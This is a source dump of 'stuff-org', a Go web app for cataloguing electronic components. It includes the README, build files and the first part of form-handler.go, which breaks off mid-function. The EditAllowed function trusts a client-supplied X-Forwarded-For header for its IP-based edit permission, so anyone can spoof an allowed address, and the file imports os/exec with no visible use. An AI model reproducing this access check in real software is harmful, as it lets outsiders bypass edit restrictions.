├── .gitignore
├── .golangci.yml
├── Dockerfile
├── Makefile
├── README.md
├── db
├── README.md
├── initial-db.dump
└── sqlite-file.db
├── go.mod
├── go.sum
├── img
├── page-resistor.png
├── page-search.png
├── placeholder.jpg
└── stuff-mobile.jpg
├── shell.nix
├── stuff
├── .goreleaser.yml
├── Makefile
├── form-handler.go
├── form-handler_test.go
├── image-handler.go
├── main.go
├── resistor-image.go
├── resistor-image_test.go
├── search-handler.go
├── search.go
├── search_test.go
├── sitemap-handler.go
├── static
│ ├── edit-pen.png
│ ├── empty-box.png
│ ├── fallback.png
│ ├── manifest.json
│ ├── mystery.png
│ ├── non-edit-pen.png
│ ├── robots.txt
│ ├── stuff-192.png
│ ├── stuff-512.png
│ ├── stuff-icon.png
│ ├── stuff.css
│ └── white.png
├── status-handler.go
├── stuff-store-interface.go
├── stuff-store-sqlite.go
├── stuff-store-sqlite_test.go
├── template-renderer.go
└── template
│ ├── component
│ ├── 4-Band_Resistor.svg
│ ├── 5-Band_Resistor.svg
│ ├── README
│ ├── category-Capacitor.svg
│ ├── category-Diode.svg
│ ├── category-LED.svg
│ ├── package-DIP-14.svg
│ ├── package-DIP-16.svg
│ ├── package-DIP-28.svg
│ ├── package-DIP-40.svg
│ ├── package-DIP-6.svg
│ ├── package-DIP-8.svg
│ ├── package-TO-220.svg
│ ├── package-TO-3.svg
│ ├── package-TO-39.svg
│ └── package-TO-99.svg
│ ├── display-template.html
│ ├── form-template.html
│ ├── search-result.html
│ ├── set-drag-drop.html
│ └── status-table.html
└── utils
├── README.md
├── image-cut
├── Makefile
└── image-cut.go
└── take-pictures.sh
/.gitignore:
--------------------------------------------------------------------------------
1 | stuff/dist
2 | stuff/stuff
3 | stuff/stuff-database.db
4 | bin
5 | .envrc
6 |
--------------------------------------------------------------------------------
/.golangci.yml:
--------------------------------------------------------------------------------
1 | ---
2 | run:
3 | deadline: 2m
4 |
5 | issues:
6 | max-same-issues: 0
7 | exclude-rules:
8 | - path: _test.go
9 | linters:
10 | - errcheck
11 |
12 |
13 | linters-settings:
14 | errcheck:
15 | exclude-functions:
16 | # This are used in HTTP handlers, any error is handled by the server itself.
17 | - (net/http.ResponseWriter).Write
18 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | ARG ARCH="amd64"
2 | ARG OS="linux"
3 | FROM quay.io/prometheus/busybox-${OS}-${ARCH}:latest
4 |
5 | ADD stuff /bin/stuff
6 |
7 | EXPOSE 9199
8 | USER nobody
9 | ENTRYPOINT ["/bin/stuff"]
10 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | GO ?= go
2 |
3 | .PHONY: update-go-deps
4 | update-go-deps:
5 | @echo ">> updating Go dependencies"
6 | @for m in $$($(GO) list -mod=readonly -m -f '{{ if and (not .Indirect) (not .Main)}}{{.Path}}{{end}}' all); do \
7 | $(GO) get $$m; \
8 | done
9 | $(GO) mod tidy
10 |
11 | lint:
12 | golangci-lint run
13 |
14 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Keeping track of stuff
2 | ----------------------
3 |
4 | [](https://github.com/surefootedbow/stuff-org/actions)
5 |
6 | Mostly to organize electronic components at home and at hackerspace. Store
7 | details in a database and make them findable with a pleasing fast search.
8 |
9 | We use it at Noisebridge: https://parts.noisebridge.net/
10 |
11 | If this is the first time you are using go, you might need to set up
12 | the `GOPATH` environment variable; please refer to golang documentation.
13 |
14 | Uses SQLite to keep data in one file, so you need this external go dependency
15 |
16 | ```
17 | go get github.com/mattn/go-sqlite3
18 | ```
19 |
20 | For users with Go version < 1.7 This go-sqlite3 dependency uses 'context' which
21 | was built into go after golang v1.7. So, if you are using Go version < 1.7 (say
22 | on a raspberry pi or beaglebone black), then install the go context package,
23 | and you will need to modify something something in the go-sqlite3 and install the external packages
24 |
25 | ```
26 | go get x/net/context package
27 | ```
28 |
29 | Other than that, no external dependencies are needed.
30 |
31 | To run the app navigate to the [stuff/](./stuff) directory and run:
32 | ```
33 | make stuff
34 | ./stuff
35 | ```
36 |
37 | You can then open it at http://localhost:2000/ to start adding stuff to
38 | your database.
39 |
40 | These are the available options for the binary
41 | ```
42 | Usage of ./stuff:
43 | -cache-templates
44 | Cache templates. False for online editing while development. (default true)
45 | -cleanup-db
46 | Cleanup run of database
47 | -dbfile string
48 | SQLite database file (default "stuff-database.db")
49 | -edit-permission-nets string
50 | Comma separated list of networks (CIDR format IP-Addr/network) that are allowed to edit content
51 | -imagedir string
52 | Directory with component images (default "img-srv")
53 | -logfile string
54 | Logfile to write interesting events
55 | -bind-address string
56 | Port to serve from (default ":2000")
57 | -site-name string
58 | Site-name, in particular needed for SSL
59 | -ssl-cert string
60 | Cert file
61 | -ssl-key string
62 | Key file
63 | -staticdir string
64 | Directory with static resources (default "static")
65 | -templatedir string
66 | Base-Directory with templates (default "./template")
67 | -want-timings
68 | Print processing timings.
69 | ```
70 |
71 | There is a demo database in the [db/](./db) directory (which really
72 | is just a backup of the Noisebridge database). So you can play around by
73 | copying `db/sqlite-file.db` to `stuff-database.db` and play right away.
74 |
75 | Let's try this:
76 | ```
77 | cp ../db/sqlite-file.db stuff-database.db
78 | ./stuff -dbfile stuff-database.db
79 | ```
80 |
81 | There are no images in this repository for demo; for your set-up, you can
82 | take pictures of your components and drop in some directory. If there is
83 | no image, some are generated from the type of component (e.g. capacitor or
84 | diode), and some color-coding image even generated from the value of a
85 | resistor.
86 |
87 | To show your own component images, you need to point the `-imagedir` flag
88 | to a directory that has images with name `.jpg`.
89 | So for bin 42, this would be `42.jpg`.
90 |
91 | By default, you can edit database from any IP address, but
92 | with `-edit-permission-nets`, you can give an IP address range that is allowed
93 | to edit, while others only see a read-only view. The readonly view also has
94 | the nice property that it is concise and looks good on mobile devices.
95 |
96 | If you give it a key and cert PEM via the `--ssl-key` and `--ssl-cert` options,
97 | this will start an HTTPS server (which also understands HTTP/2.0).
98 |
99 | ### Features
100 | (work in progress of course)
101 |
102 | - Enter form to enter details found in boxes with a given ID. Assumes that
103 | all your items are labelled with a unique number.
104 | - Search form with search-as-you-type in an legitimate use of JSON ui :)
105 | - Automatic synonym search (e.g. query for `.1u` is automatically re-written to `(.1u | 100n)`)
106 | - Boolean expressions in search terms.
107 | - A search API returning JSON results to be queried from other
108 | applications.
109 | - A way to display component pictures (and soon: upload). Also automatically
110 | generates some drawing if there is a template for the package name, or if
111 | it is a resistor, auto-generates an image with resistor color bands.
112 | - Drag'n drop arrangement of similar components that should
113 | be in the same drawer. We have a large amount of different donations that
114 | all have overlapping set of parts. This helps organize these.
115 | - An extremely simple 'authentication' by IP address. By default, within the
116 | Hackerspace, the items are editable, while externally, a readonly view is
117 | presented (this will soon be augmented with OAuth, so that we can authenticate
118 | via a login of our wiki).
119 |
120 | Search | Detail Page with resistor | Mobile view
121 | ---------------------------|-------------------------------|--------------
122 |  | | 
123 |
124 | ## API
125 |
126 | Next to a web-UI, this provides as well a search, status, and item information API with JSON response
127 | to be integrated in other apps, e.g. slack
128 |
129 | API Endpoint | Required Query | Optional Queries
130 | -------------|----------------------------|--------------------
131 | /api/search | q (search query) | count (default 100)
132 | /api/status | offset (beginning item ID) | limit (default 100)
133 | /api/info | id (ID of item) | (none)
134 |
135 | ### Sample query
136 | ```
137 | https://parts.noisebridge.net/api/search?q=fet
138 | ```
139 |
140 | Optional URL-parameter `count=42` to limit the number of results (default: 100).
141 |
142 | ### Sample response
143 | ```json
144 | {
145 | "link": "/search#fet",
146 | "components": [
147 | {
148 | "id": 42,
149 | "equiv_set": 42,
150 | "value": "BUK9Y16-60E",
151 | "category": "Mosfet",
152 | "description": "Mosfet N-channel, 60V, 53A, 12.1mOhm\nSOT669",
153 | "quantity": "25",
154 | "notes": "",
155 | "datasheet_url": "http://www.nxp.com/documents/data_sheet/BUK9Y15-60E.pdf",
156 | "footprint": "LFPAK56",
157 | "img": "/img/42"
158 | },
159 | {
160 | "id": 76,
161 | "equiv_set": 76,
162 | "value": "BUK9Y4R4-40E",
163 | "category": "Mosfet",
164 | "description": "N-Channel MOSFET, 40V, 4.4mOhm@5V, 3.7mOhm@10V",
165 | "quantity": "4",
166 | "notes": "",
167 | "datasheet_url": "http://www.nxp.com/documents/data_sheet/BUK9Y4R4-40E.pdf",
168 | "footprint": "LFPAK56",
169 | "img": "/img/76"
170 | }
171 | ]
172 | }
173 | ```
174 |
175 | ### Sample status query
176 | ```
177 | https://parts.noisebridge.net/api/status?offset=0&limit=3
178 | ```
179 |
180 | ### Sample status response
181 | ```json
182 | {
183 | "link": "/status?offset=0&limit=3",
184 | "offset": 0,
185 | "limit": 3,
186 | "status": [
187 | {
188 | "number": 0,
189 | "status": "mystery",
190 | "haspicture": false
191 | },
192 | {
193 | "number": 1,
194 | "status": "good",
195 | "haspicture": false
196 | },
197 | {
198 | "number": 2,
199 | "status": "good",
200 | "haspicture": false
201 | }
202 | ]
203 | }
204 | ```
205 |
206 | ### Sample item query
207 | ```
208 | https://parts.noisebridge.net/api/info?id=1
209 | ```
210 |
211 | ### Sample item response
212 | ```json
213 | {
214 | "available": true,
215 | "item": {
216 | "id": 1,
217 | "equiv_set": 1,
218 | "value": "120",
219 | "category": "Resistor",
220 | "description": "",
221 | "quantity": "20",
222 | "img": "/img/1"
223 | }
224 | }
225 | ```
226 |
227 | ### Note
228 |
229 | Beware, these are also my early experiments with golang and it only uses basic
230 | functionality that comes with the stock library: HTTP server and templates.
231 | It doesn't use a web framework of any kind, only what comes with the
232 | golang libraries. And it might not necessarily be pretty as I am learning.
233 |
234 | HTML, CSS and JavaScript is hand-written and not generated - I want to keep it
235 | that way as long as possible to get a feeling of what would need to be done for
236 | a web framework (but be aware that my last exposure to HTML was around 1997,
237 | before there was CSS and working JavaScript ... so if you find something that
238 | should be stylistically better, let me know).
239 |
240 | When the HTML output is not burried under various layers of abstractions it is
241 | also easier to understand what parts in web-browsers are slow
242 | and address them directly. So no dependency on golang web-frameworks or JQuery
243 | of stuff like that. Less dependencies are good.
244 |
--------------------------------------------------------------------------------
/db/README.md:
--------------------------------------------------------------------------------
1 | Note, schema is now created directly in the code (see [dbbackend.go](../stuff/dbbackend.go))
2 |
3 | # Content
4 | The content collected here is merely a backup of our organization effort at Noisebridge, but
5 | feel free to use it to play around (you are missing product shot images though, so things might
6 | look a bit boring).
7 |
8 | # Manual poking in the database
9 | I suggest to use the excellent henplus JDBC commandline
10 | utility ( https://github.com/neurolabs/henplus )
11 |
12 | The [database dump](./initial-db.dump) found here is a database vendor independent dump that
13 | can be handled with henplus.
14 |
15 | Get a jdbc driver at https://bitbucket.org/xerial/sqlite-jdbc/downloads and copy it in a
16 | `stuff-org/.henplus/lib` directory in the project-root (that you have to create).
17 |
18 | ```
19 | henplus -J jdbc:sqlite:sqlite-file.db
20 | ```
21 |
22 | (use `dump-in` to read the dump (type `help dump-in` on the HenPlus shell).
23 |
24 | The sqlite-file.db is a SQLite binary database file with the same content already dumped in
25 | for convenience.
26 | You can use it with the application by passing it in with the `--db-file` flag.
27 |
--------------------------------------------------------------------------------
/db/sqlite-file.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/db/sqlite-file.db
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/surefootedbow/stuff-org
2 |
3 | go 1.20
4 |
5 | require (
6 | github.com/mattn/go-sqlite3 v1.14.23
7 | github.com/prometheus/client_golang v1.20.4
8 | )
9 |
10 | require (
11 | github.com/beorn7/perks v1.0.1 // indirect
12 | github.com/cespare/xxhash/v2 v2.3.0 // indirect
13 | github.com/klauspost/compress v1.17.9 // indirect
14 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
15 | github.com/prometheus/client_model v0.6.1 // indirect
16 | github.com/prometheus/common v0.55.0 // indirect
17 | github.com/prometheus/procfs v0.15.1 // indirect
18 | golang.org/x/sys v0.22.0 // indirect
19 | google.golang.org/protobuf v1.34.2 // indirect
20 | )
21 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
2 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
3 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
4 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
5 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
6 | github.com/klauspost/compress v1.17.9 h1:6KIumPrER1LHsvBVuDa0r5xaG0Es51mhhB9BQB2qeMA=
7 | github.com/klauspost/compress v1.17.9/go.mod h1:Di0epgTjJY877eYKx5yC51cX2A2Vl2ibi7bDH9ttBbw=
8 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
9 | github.com/mattn/go-sqlite3 v1.14.23 h1:gbShiuAP1W5j9UOksQ06aiiqPMxYecovVGwmTxWtuw0=
10 | github.com/mattn/go-sqlite3 v1.14.23/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
11 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
12 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
13 | github.com/prometheus/client_golang v1.20.4 h1:Tgh3Yr67PaOv/uTqloMsCEdeuFTatm5zIq5+qNN23vI=
14 | github.com/prometheus/client_golang v1.20.4/go.mod h1:PIEt8X02hGcP8JWbeHyeZ53Y/jReSnHgO035n//V5WE=
15 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E=
16 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY=
17 | github.com/prometheus/common v0.55.0 h1:KEi6DK7lXW/m7Ig5i47x0vRzuBsHuvJdi5ee6Y3G1dc=
18 | github.com/prometheus/common v0.55.0/go.mod h1:2SECS4xJG1kd8XF9IcM1gMX6510RAEL65zxzNImwdc8=
19 | github.com/prometheus/procfs v0.15.1 h1:YagwOFzUgYfKKHX6Dr+sHT7km/hxC76UB0learggepc=
20 | github.com/prometheus/procfs v0.15.1/go.mod h1:fB45yRUv8NstnjriLhBQLuOUt+WW4BsoGhij/e3PBqk=
21 | golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
22 | golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
23 | google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg=
24 | google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw=
25 |
--------------------------------------------------------------------------------
/img/page-resistor.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/page-resistor.png
--------------------------------------------------------------------------------
/img/page-search.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/page-search.png
--------------------------------------------------------------------------------
/img/placeholder.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/placeholder.jpg
--------------------------------------------------------------------------------
/img/stuff-mobile.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/img/stuff-mobile.jpg
--------------------------------------------------------------------------------
/shell.nix:
--------------------------------------------------------------------------------
1 | # This is a nix-shell for use with the nix package manager.
2 | # If you have nix installed, you may simply run `nix-shell`
3 | # in this repo, and have all dependencies ready in the new shell.
4 |
5 | { pkgs ? import {} }:
6 | pkgs.mkShell {
7 | buildInputs = with pkgs;
8 | [
9 | go
10 | golangci-lint
11 |
12 | # For take pictures utility script
13 | feh
14 | dialog
15 | gphoto2
16 | ];
17 | }
18 |
--------------------------------------------------------------------------------
/stuff/.goreleaser.yml:
--------------------------------------------------------------------------------
1 | project_name: stuff-org
2 | before:
3 | hooks:
4 | # You may remove this if you don't use go modules.
5 | - go mod download
6 | builds:
7 | - binary: stuff
8 | goarch:
9 | - amd64
10 | - arm
11 | - arm64
12 | goarm:
13 | - 6
14 | - 7
15 | goos:
16 | - darwin
17 | - freebsd
18 | - linux
19 | - windows
20 | archives:
21 | - files:
22 | - static/**/*
23 | - template/**/*
24 | format_overrides:
25 | - goos: windows
26 | format: zip
27 | wrap_in_directory: true
28 | checksum:
29 | name_template: 'checksums.txt'
30 | # TODO: Setup Docker in CircleCI.
31 | # dockers:
32 | # - image_templates:
33 | # - "{{ .Env.CI_REGISTRY_IMAGE }}:latest"
34 | # - "{{ .Env.CI_REGISTRY_IMAGE }}:{{ .Tag }}"
35 | snapshot:
36 | name_template: "{{ .Tag }}-{{ .ShortCommit }}"
37 | changelog:
38 | sort: asc
39 | filters:
40 | exclude:
41 | - '^docs:'
42 | - '^test:'
43 |
--------------------------------------------------------------------------------
/stuff/Makefile:
--------------------------------------------------------------------------------
1 | # This is mostly for convenience, we don't use any of the dependency
2 | # features of 'make'
3 | ##
4 |
5 | GO ?= go
6 | GOFMT ?= $(GO)fmt
7 |
8 | all : stuff test
9 |
10 | stuff: *.go
11 | go build
12 |
13 | test:
14 | go test
15 |
16 | clean:
17 | rm -f stuff
18 |
19 | style:
20 | @echo ">> checking code style"
21 | @fmtRes=$$($(GOFMT) -d $$(find . -path ./vendor -prune -o -name '*.go' -print)); \
22 | if [ -n "$${fmtRes}" ]; then \
23 | echo "gofmt checking failed!"; echo "$${fmtRes}"; echo; \
24 | echo "Please ensure you are using $$($(GO) version) for formatting code."; \
25 | exit 1; \
26 | fi
27 |
--------------------------------------------------------------------------------
/stuff/form-handler.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "os/exec"
5 | "compress/gzip"
6 | "encoding/json"
7 | "fmt"
8 | "io"
9 | "math"
10 | "net"
11 | "net/http"
12 | "regexp"
13 | "strconv"
14 | "strings"
15 | "time"
16 | )
17 |
18 | const (
19 | kFormPage = "/form"
20 | kSetApi = "/api/related-set"
21 | kInfoApi = "/api/info"
22 | )
23 |
24 | // Some useful pre-defined set of categories
25 | var available_category []string = []string{
26 | "Resistor", "Potentiometer", "R-Network",
27 | "Capacitor (C)", "Aluminum Cap", "Inductor (L)",
28 | "Diode (D)", "Power Diode", "LED",
29 | "Transistor", "Mosfet", "IGBT",
30 | "Integrated Circuit (IC)", "IC Analog", "IC Digital",
31 | "Connector", "Socket", "Switch",
32 | "Fuse", "Mounting", "Heat Sink",
33 | "Microphone", "Transformer", "? MYSTERY",
34 | }
35 |
36 | type FormHandler struct {
37 | store StuffStore
38 | template *TemplateRenderer
39 | imgPath string
40 | editNets []*net.IPNet // IP Networks that are allowed to edit
41 | }
42 |
43 | func AddFormHandler(store StuffStore, template *TemplateRenderer, imgPath string, editNets []*net.IPNet) {
44 | handler := &FormHandler{
45 | store: store,
46 | template: template,
47 | imgPath: imgPath,
48 | editNets: editNets,
49 | }
50 | http.Handle(kFormPage, handler)
51 | http.Handle(kSetApi, handler)
52 | http.Handle(kInfoApi, handler)
53 | }
54 |
55 | func (h *FormHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) {
56 | switch {
57 | case strings.HasPrefix(req.URL.Path, kSetApi):
58 | h.relatedComponentSetOperations(out, req)
59 | case strings.HasPrefix(req.URL.Path, kInfoApi):
60 | h.apiInfo(out, req)
61 | default:
62 | h.entryFormHandler(out, req)
63 | }
64 | }
65 |
66 | // First, very crude version of radio button selecions
67 | type Selection struct {
68 | Value string
69 | IsSelected bool
70 | AddSeparator bool
71 | }
72 | type FormPage struct {
73 | Component // All these values are shown in the form
74 | PageTitle string
75 | ImageUrl string
76 | DatasheetLinkText string // Abbreviated link for display
77 |
78 | DescriptionRows int // Number of rows displayed in textarea
79 | NotesRows int
80 |
81 | // Category choice.
82 | CatChoice []Selection
83 | CatFallback Selection
84 | CategoryText string
85 |
86 | // Status around current item; link to relevant group.
87 | HundredGroup int
88 | Status []StatusItem
89 |
90 | // Additional stuff
91 | Msg string // Feedback for user
92 | PrevId int // For browsing
93 | NextId int
94 |
95 | FormEditable bool
96 | ShowEditToggle bool
97 | }
98 |
99 | // We need another type to indicate availability of an item
100 | // but it uses aggregation with an existing type
101 | type JsonInfoComponent struct {
102 | Available bool `json:"available"`
103 | Item JsonComponent `json:"item"`
104 | }
105 |
106 | // -- TODO: For cleanup, we need some kind of category-aware plugin structure.
107 |
108 | func cleanupResistor(c *Component) {
109 | optional_ppm, _ := regexp.Compile(`(?i)[,;]\s*(\d+\s*ppm)`)
110 | if match := optional_ppm.FindStringSubmatch(c.Value); match != nil {
111 | c.Description = strings.ToLower(match[1]) + "; " + c.Description
112 | c.Value = optional_ppm.ReplaceAllString(c.Value, "")
113 | }
114 |
115 | // Move percent into description.
116 | optional_percent, _ := regexp.Compile(`[,;]\s*((\+/-\s*)?(0?\.)?\d+\%)`)
117 | if match := optional_percent.FindStringSubmatch(c.Value); match != nil {
118 | c.Description = match[1] + "; " + c.Description
119 | c.Value = optional_percent.ReplaceAllString(c.Value, "")
120 | }
121 |
122 | optional_watt, _ := regexp.Compile(`(?i)[,;]\s*((((\d*\.)?\d+)|(\d+/\d+))\s*W(att)?)`)
123 | if match := optional_watt.FindStringSubmatch(c.Value); match != nil {
124 | c.Description = match[1] + "; " + c.Description
125 | c.Value = optional_watt.ReplaceAllString(c.Value, "")
126 | }
127 |
128 | // Get rid of Ohm
129 | optional_ohm, _ := regexp.Compile(`(?i)\s*ohm`)
130 | c.Value = optional_ohm.ReplaceAllString(c.Value, "")
131 |
132 | // Upper-case kilo at end or with spaces before are replaced
133 | // with simple 'k'.
134 | spaced_upper_kilo, _ := regexp.Compile(`(?i)\s*k$`)
135 | c.Value = spaced_upper_kilo.ReplaceAllString(c.Value, "k")
136 |
137 | c.Description = cleanString(c.Description)
138 | c.Value = cleanString(c.Value)
139 | }
140 |
141 | func cleanupFootprint(c *Component) {
142 | c.Footprint = cleanString(c.Footprint)
143 |
144 | to_package, _ := regexp.Compile(`(?i)^to-?(\d+)`)
145 | c.Footprint = to_package.ReplaceAllString(c.Footprint, "TO-$1")
146 |
147 | // For sip/dip packages: canonicalize to _p_ and end and move digits to end.
148 | sdip_package, _ := regexp.Compile(`(?i)^((\d+)[ -]?)?p?([sd])i[lp][ -]?(\d+)?`)
149 | if match := sdip_package.FindStringSubmatch(c.Footprint); match != nil {
150 | c.Footprint = sdip_package.ReplaceAllStringFunc(c.Footprint,
151 | func(string) string {
152 | return strings.ToUpper(match[3] + "IP-" + match[2] + match[4])
153 | })
154 | }
155 | }
156 |
157 | func createLinkTextFromUrl(u string) string {
158 | if len(u) < 30 {
159 | return u
160 | }
161 | shortenurl, _ := regexp.Compile("(.*://)([^/]+)/(.*)([/?&].*)$")
162 | return shortenurl.ReplaceAllString(u, "$2/…$4")
163 | }
164 |
165 | // Format a float value with single digit precision, but remove unneccessary .0
166 | // (mmh, this looks like there should be some standard formatting modifier that
167 | // does exactly that.
168 | func fmtFloatNoZero(f float64) string {
169 | result := fmt.Sprintf("%.1f", f)
170 | if strings.HasSuffix(result, ".0") {
171 | return result[:len(result)-2] // remove trailing zero
172 | } else {
173 | return result
174 | }
175 | }
176 |
177 | func makeCapacitanceString(farad float64) string {
178 | switch {
179 | case farad < 1000e-12:
180 | return fmtFloatNoZero(farad*1e12) + "pF"
181 | case farad < 1000e-9:
182 | return fmtFloatNoZero(farad*1e9) + "nF"
183 | default:
184 | return fmtFloatNoZero(farad*1e6) + "uF"
185 | }
186 | }
187 |
188 | func translateCapacitorToleranceLetter(letter string) string {
189 | switch strings.ToLower(letter) {
190 | case "d":
191 | return "+/- 0.5pF"
192 | case "f":
193 | return "+/- 1%"
194 | case "g":
195 | return "+/- 2%"
196 | case "h":
197 | return "+/- 3%"
198 | case "j":
199 | return "+/- 5%"
200 | case "k":
201 | return "+/- 10%"
202 | case "m":
203 | return "+/- 20%"
204 | case "p":
205 | return "+100%,-0%"
206 | case "z":
207 | return "+80%,-20%"
208 | }
209 | return ""
210 | }
211 |
212 | func cleanupCapacitor(component *Component) {
213 | farad_value, _ := regexp.Compile(`(?i)^((\d*.)?\d+)\s*([uµnp])F(.*)$`)
214 | three_digit, _ := regexp.Compile(`(?i)^(\d\d)(\d)\s*([dfghjkmpz])?$`)
215 | if match := farad_value.FindStringSubmatch(component.Value); match != nil {
216 | number_digits := match[1]
217 | factor_character := match[3]
218 | trailing := cleanString(match[4])
219 | // Sometimes, values are written as strange multiples,
220 | // e.g. 100nF is sometimes written as 0.1uF. Normalize here.
221 | factor := 1e-6
222 | switch factor_character {
223 | case "u", "U", "µ":
224 | factor = 1e-6
225 | case "n", "N":
226 | factor = 1e-9
227 | case "p", "P":
228 | factor = 1e-12
229 | }
230 | val, err := strconv.ParseFloat(number_digits, 32)
231 | if err != nil || val < 0 {
232 | return // Strange value. Don't touch.
233 | }
234 | component.Value = makeCapacitanceString(val * factor)
235 | if len(trailing) > 0 {
236 | if len(component.Description) > 0 {
237 | component.Description = trailing + "; " + component.Description
238 | } else {
239 | component.Description = trailing
240 | }
241 | }
242 | } else if match := three_digit.FindStringSubmatch(component.Value); match != nil {
243 | value, _ := strconv.ParseFloat(match[1], 32)
244 | magnitude, _ := strconv.ParseFloat(match[2], 32)
245 | tolerance_letter := match[3]
246 | if magnitude < 0 || magnitude > 6 {
247 | return
248 | }
249 | multiplier := math.Exp(magnitude*math.Log(10)) * 1e-12
250 | component.Value = makeCapacitanceString(value * multiplier)
251 | tolerance := translateCapacitorToleranceLetter(tolerance_letter)
252 | if len(tolerance) > 0 {
253 | if len(component.Description) > 0 {
254 | component.Description = tolerance + "; " + component.Description
255 | } else {
256 | component.Description = tolerance
257 | }
258 | }
259 | }
260 | }
261 |
262 | func cleanString(input string) string {
263 | result := strings.TrimSpace(input)
264 | return strings.Replace(result, "\r\n", "\n", -1)
265 | }
266 |
267 | func cleanupComponent(component *Component) {
268 | component.Value = cleanString(component.Value)
269 | component.Category = cleanString(component.Category)
270 | component.Description = cleanString(component.Description)
271 | component.Quantity = cleanString(component.Quantity)
272 | component.Notes = cleanString(component.Notes)
273 | component.Datasheet_url = cleanString(component.Datasheet_url)
274 | cleanupFootprint(component)
275 |
276 | // We should have pluggable cleanup modules per category. For
277 | // now just a quick hack.
278 | switch component.Category {
279 | case "Resistor":
280 | cleanupResistor(component)
281 | case "Capacitor (C)", "Aluminum Cap":
282 | cleanupCapacitor(component)
283 | }
284 | }
285 |
286 | // If this particular request is allowed to edit. Can depend on IP address,
287 | // cookies etc.
288 | func (h *FormHandler) EditAllowed(r *http.Request) bool {
289 | if len(h.editNets) == 0 {
290 | return true // No restrictions.
291 | }
292 | addr, _, err := net.SplitHostPort(r.RemoteAddr)
293 | if err != nil {
294 | return false
295 | }
296 | if h := r.Header["X-Forwarded-For"]; h != nil {
297 | addr = h[0]
298 | }
299 | var ip net.IP
300 | if ip = net.ParseIP(addr); ip == nil {
301 | return false
302 | }
303 | for i := 0; i < len(h.editNets); i++ {
304 | if h.editNets[i].Contains(ip) {
305 | return true
306 | }
307 | }
308 | return false
309 | }
310 |
311 | func max(a, b int) int {
312 | if a > b {
313 | return a
314 | } else {
315 | return b
316 | }
317 | }
318 |
319 | func (h *FormHandler) entryFormHandler(w http.ResponseWriter, r *http.Request) {
320 | // Look at the request and see what we need to display,
321 | // and if we have to store something.
322 |
323 | // Store-ID is a hidden field and only set if the form
324 | // is submitted.
325 | edit_id, _ := strconv.Atoi(r.FormValue("edit_id"))
326 | var next_id int
327 | if r.FormValue("nav_id_button") != "" {
328 | // Use the navigation buttons to choose next ID.
329 | next_id, _ = strconv.Atoi(r.FormValue("nav_id_button"))
330 | } else if r.FormValue("id") != r.FormValue("edit_id") {
331 | // The ID field was edited. Use that as the next ID the
332 | // user wants to jump to.
333 | next_id, _ = strconv.Atoi(r.FormValue("id"))
334 | } else if edit_id > 0 {
335 | // Regular submit. Jump to next
336 | next_id = edit_id + 1
337 | } else if cookie, err := r.Cookie("last-edit"); err == nil {
338 | // Last straw: what we remember from last edit.
339 | next_id, _ = strconv.Atoi(cookie.Value)
340 | }
341 |
342 | requestStore := r.FormValue("edit_id") != ""
343 | msg := ""
344 | edit_allowed := h.EditAllowed(r)
345 |
346 | defer ElapsedPrint("Form action", time.Now())
347 |
348 | if requestStore && edit_allowed {
349 | drawersize, _ := strconv.Atoi(r.FormValue("drawersize"))
350 | fromForm := Component{
351 | Id: edit_id,
352 | Value: r.FormValue("value"),
353 | Description: r.FormValue("description"),
354 | Notes: r.FormValue("notes"),
355 | Quantity: r.FormValue("quantity"),
